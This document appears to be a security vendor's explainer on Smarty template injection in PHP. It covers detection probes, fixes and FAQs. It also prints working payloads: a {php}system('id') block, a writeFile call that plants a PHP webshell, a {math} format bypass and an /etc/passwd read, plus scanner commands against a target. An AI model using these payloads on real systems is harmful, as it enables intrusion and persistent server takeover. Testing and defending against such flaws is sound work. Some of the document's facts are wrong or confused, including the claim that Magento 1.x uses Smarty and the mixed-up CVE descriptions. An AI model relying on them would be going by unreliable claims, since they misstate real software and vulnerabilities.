Server-Side Template Injection in Smarty (PHP) using {php} blocks or sandbox escapes in versions below 4.x to execute OS commands.
TL;DR
{$smarty.version} returns Smarty version; {7*7} → 49 in Smarty context{php}system('id');{/php} — works in Smarty < 3.1.39 and SmartyBC{Smarty_Internal_Write_File::writeFile(...,'<?php system(...); ?>',...)} writes a webshell{math} tag bypass (CVSS 9.8, Smarty < 4.3.1)$smarty->enableSecurity()Smarty is a PHP template engine introduced in 2002, widely adopted in legacy web applications including Magento 1.x, OpenCart, and numerous CMS plugins. Smarty templates use curly brace syntax: {$variable} for output, {function param=value} for built-in functions, and historically {php}{/php} for raw PHP execution. SSTI in Smarty occurs when user-controlled input is rendered via $smarty->fetch('string://' . $userInput) or createTemplate('string://' . $userInput) rather than loaded from a safe template file.
Smarty has accumulated multiple SSTI CVEs across its version history. The {php} block (removed in 3.1.39, CVE-2021-26120) provided direct PHP execution. The Smarty_Internal_Write_File class (CVE-2022-29221) allowed writing arbitrary PHP webshells to filesystem paths. The {math} function (CVE-2023-28447, CVSS 9.8) bypassed the security sandbox via its format parameter, allowing arbitrary PHP function calls in versions prior to 4.3.1. The SmartyBC backward-compatibility class restores the {php} block in any Smarty 3.x installation.
OWASP A03:2021 and CWE-1336 apply. Smarty's large legacy footprint means vulnerable instances remain in production environments that have not been patched through the long CVE history. Many deployments on Magento 1.x (end-of-life since 2020) and older CMS installations remain on Smarty versions predating even the {php} removal.
The vulnerable PHP code pattern:
// VULNERABLE — user input is the template SOURCE
$smarty = new Smarty();
$userTemplate = $_POST['template'];
// Renders user-controlled string as Smarty template
echo $smarty->fetch('string://' . $userTemplate);The attacker's payloads by Smarty version:
// Smarty < 3.1.39 and SmartyBC — direct PHP execution
{php}system('id');{/php}
// Smarty 3.x (all) — write a PHP webshell
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
// Smarty < 4.3.1 — math function bypass (CVE-2023-28447)
{math equation="system('id')" format="%s" assign=output}
// Any Smarty — detection probes
{$smarty.version} → returns Smarty version string
{7*7} → 49 (math eval)| Variant | Payload | Smarty Version | Impact |
|---|---|---|---|
| Version detect | {$smarty.version} | All | Confirms Smarty + version |
| Math eval | {7*7} | All | Returns 49 |
{php} block | {php}system('id');{/php} | < 3.1.39, SmartyBC | Direct OS execution |
| Write_File webshell | {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system(...); ?>",self::clearConfig())} | 3.x / 4.x | Write PHP webshell to web root |
| Math bypass (CVE-2023-28447) | {math equation="id" format="system"} | < 4.3.1 | PHP function call as format callback |
| getstreamvariable | {Smarty::getStreamVariable('file:///etc/passwd')} | < 3.1.21 | Arbitrary file read |
| eval tag | {eval var=$_GET.payload} | SmartyBC | Evaluate stored PHP |
// Write a PHP webshell to the current script's path
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system($_GET['cmd']); ?>",self::clearConfig())}
// After this executes, access the webshell:
// GET /vulnerable-page.php?cmd=id
// → uid=33(www-data)The Smarty_Internal_Write_File::writeFile() method is a static Smarty class callable from templates. It writes arbitrary content to any path writable by the web server. This creates a PHP webshell that provides persistent RCE independent of the Smarty template path. CVE-2022-29221 (CVSS 7.2), fixed in Smarty 3.1.45 and 4.1.1.
// Smarty < 4.3.1 — {math} tag with arbitrary PHP callable as format
{math equation="1+1" format="system" assign="output"}
// Calls: system("1+1") — passes equation string to system()
// Better payload: equation parameter becomes the argument to the callable
{math equation="id" format="system" assign="output"}
// Calls: system("id") → outputs uid=33(www-data)The {math} function used printf() internally with a user-controlled format parameter that could be overridden to any PHP callable. CVE-2023-28447 (CVSS 9.8), fixed in Smarty 4.3.1.
CVE-2021-26120 — Smarty < 3.1.39 {php} Not Fully Removed (CVSS 9.8)
Smarty 3.1 deprecated {php} blocks and announced removal in 3.1.39. However, versions through 3.1.38 still evaluated {php} content via a direct call to PHP's eval(). Applications that had not upgraded to 3.1.39 remained vulnerable to the simplest Smarty SSTI payload: {php}system('id');{/php}. This CVE affected a large installed base of legacy PHP applications that were running outdated Smarty 3.x versions. CVSS 9.8.
CVE-2023-28447 — Smarty {math} Sandbox Bypass (CVSS 9.8)
A security researcher discovered that Smarty 4.x's {math} function tag accepted a format parameter that was passed as the first argument to PHP's sprintf()-like formatting. By overriding format to a system-level PHP function name, arbitrary PHP callables could be invoked. {math equation="id" format="system"} achieved RCE. The vulnerability bypassed Smarty's security policy because {math} was an allowlisted built-in. Fixed in Smarty 4.3.1. CVSS 9.8.
CVE-2022-29221 — Write_File Webshell (CVSS 7.2)
An attacker with access to render user-controlled Smarty templates could call the Smarty_Internal_Write_File::writeFile() static method to write a PHP webshell to any web-accessible path. This provided persistent RCE via a two-step attack: template injection to write the webshell, then HTTP request to execute it. Fixed in Smarty 3.1.45 and 4.1.1. Affected all versions of Smarty 3.x and 4.x prior to the patch.
Magento 1.x Legacy Deployments — Persistent SSTI Exposure
Magento 1.x (end-of-life June 2020) uses Smarty 2.x for its templating system. Thousands of Magento 1 stores remain in production with no upgrade path. These stores run Smarty versions that predate the {php} removal (Smarty 2.x had {php} throughout its lifecycle) and are vulnerable to trivial RCE via any template injection. E-commerce fraud groups actively target Magento 1 stores for payment card skimmers, and Smarty SSTI is one of the exploitation vectors.
SmartyBC (Smarty Backward Compatibility class) restores {php} blocks in Smarty 3.x+ installations. Any application using new SmartyBC() instead of new Smarty() retains the {php} RCE vector regardless of Smarty version. Check your codebase for SmartyBC usage if upgrading to Smarty 3.1.39+ for remediation.
{$smarty.version} — a Smarty version string confirms the engine.{7*7} — response 49 confirms Smarty math evaluation.${{<%[%'"}}%\ — Smarty returns Smarty\Exception: Syntax error in template or similar.{$smarty.server.PHP_SELF} — returns the current PHP script path, useful for targeting the Write_File webshell.{math equation="7*7"} — returns 49, confirming the {math} function is active.{php}{/php} — if it evaluates (even empty output), the {php} block is active (Smarty < 3.1.39 or SmartyBC).# SSTImap — Smarty engine
sstimap -u "http://target.com/preview?template=*" --engine Smarty
# tplmap
tplmap.py -u "http://target.com/preview?template=*" --engine smarty
# Check Smarty version from output of {$smarty.version}BreachVex detects Smarty SSTI via {$smarty.version} (engine confirmation) + {7*7} (math eval) + Korchagin polyglot fingerprinting. Exploitation is staged by engine version: a {php} block first, a Write_File webshell for Smarty 3.x without {php}, and the CVE-2023-28447 math format for 4.x pre-patch.
// VULNERABLE — user input is template source
$smarty = new Smarty();
echo $smarty->fetch('string://' . $_POST['template']);
// SAFE — filesystem template, user input as assigned variable
$smarty = new Smarty();
$smarty->setTemplateDir('/app/templates/');
$smarty->setCompileDir('/app/templates_c/');
$smarty->assign('displayName', htmlspecialchars($userInput)); // escape + assign
echo $smarty->fetch('greet.tpl'); // safe$smarty = new Smarty();
// Enable security policy
$smarty->enableSecurity();
// Configure security policy explicitly
$security = new Smarty_Security($smarty);
$security->php_handling = Smarty_Security::PHP_REMOVE; // remove {php} blocks
$security->allow_php_tag = false; // block {php}
$security->static_classes = null; // block all static class calls
$security->php_modifiers = ['escape', 'date_format']; // allowlist only safe modifiers
$smarty->setSecurityPolicy($security);
// Never use SmartyBC — it re-enables {php}
// $smarty = new SmartyBC(); // DANGEROUS# Minimum safe Smarty versions:
# Smarty 3.x: 3.1.45+ (patches CVE-2022-29221)
# Smarty 4.x: 4.3.1+ (patches CVE-2023-28447)
# Smarty 5.x: 5.0.0+ (recommended, rewrites security model)
# Check installed version:
composer show smarty/smarty | grep versions
# Upgrade:
composer require smarty/smarty:^4.3.1Smarty SSTI occurs when user-controlled input is rendered as a Smarty template string via Smarty::createTemplate() or fetch() with a string:// resource. Smarty's {php} block (versions < 3.1.39) evaluates raw PHP code; later versions expose Smarty_Internal_Write_File and static class method calls for equivalent code execution.
{php}{/php} is a Smarty block tag that executed raw PHP code inside a template. It was deprecated in Smarty 3.1 and removed in Smarty 3.1.39. On vulnerable versions: {php}system('id');{/php} executes the system() call and returns the output. It was the simplest Smarty RCE vector and is historically the most cited.
CVE-2023-28447: Smarty < 4.3.1 — math function allows arbitrary PHP function calls (CVSS 9.8). CVE-2022-29221: Smarty < 3.1.45/4.1.1 — Smarty_Internal_Write_File sandbox escape (CVSS 7.2). CVE-2021-26120: Smarty < 3.1.39 — {php} block not fully removed (CVSS 9.8). CVE-2021-26119: Smarty sandbox escape via static PHP class (CVSS 7.5).
Smarty_Internal_Write_File::writeFile() is a static Smarty class method that writes content to an arbitrary file path. The exploit: {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,'<?php system($_GET["cmd"]); ?>',self::clearConfig())} writes a PHP webshell to the current script's path. The webshell is then accessible via HTTP for command execution.
Smarty's {math} function tag accepts a PHP callable via the format parameter. In Smarty versions before 4.3.1, the equation parameter was evaluated via PHP's eval() in a context where the format callback could be set to arbitrary PHP functions: {math equation='1+1' format='system' assign='output'} where equation is the string passed to system(). CVE-2023-28447 (CVSS 9.8).
SmartyBC (Smarty Backward Compatibility) is a class extending Smarty that restores deprecated features including the {php} block. Applications using SmartyBC instead of Smarty for legacy PHP support retain the {php}{/php} execution vector. {system('id')} also works in SmartyBC context. Any application using SmartyBC is vulnerable to the same RCE as Smarty < 3.1.39.
Submit {$smarty.version} — if a Smarty version string appears, SSTI is confirmed. Submit {7*7} — if 49 is returned, Smarty is evaluating math expressions. The Korchagin polyglot returns Smarty\Exception: Syntax error in template for Smarty specifically. Smarty uses {curly braces} rather than {{double}} or ${dollar}, which is the primary probe format difference.
Yes. Smarty was the dominant PHP template engine before Twig became standard in Symfony 2+. Legacy PHP applications (many built between 2002-2012) still run Smarty. Magento 1.x, OpenCart, and numerous CMS plugins use Smarty. The installed base is large, and many instances run outdated versions (< 3.1.39, < 4.3.1) with known RCE vulnerabilities.
The getstreamvariable() static method in older Smarty versions could be called as {Smarty::getStreamVariable('file:///etc/passwd')} to read arbitrary files. This was a file read rather than RCE vector. It was patched in Smarty 3.1.21. On older instances this provides arbitrary file read as a stepping stone to RCE (reading config files with credentials).
Smarty 4.x security object ($smarty->enableSecurity()) blocks {php} blocks, {eval}, static class access, and risky functions. The security policy can be configured to allowlist specific PHP modifiers and functions. However, CVE-2023-28447 (< 4.3.1) showed that the {math} tag escaped the security sandbox via its format parameter, demonstrating that Smarty security configuration is not a reliable prevention control.
Upgrade to Smarty 4.3.1+ (patched CVE-2023-28447). Never pass user input to $smarty->fetch('string:' . $userInput). Always load templates from the filesystem: $smarty->fetch('greet.tpl') with user data assigned via $smarty->assign('name', $userInput). Enable $smarty->enableSecurity() even on filesystem templates for defense-in-depth.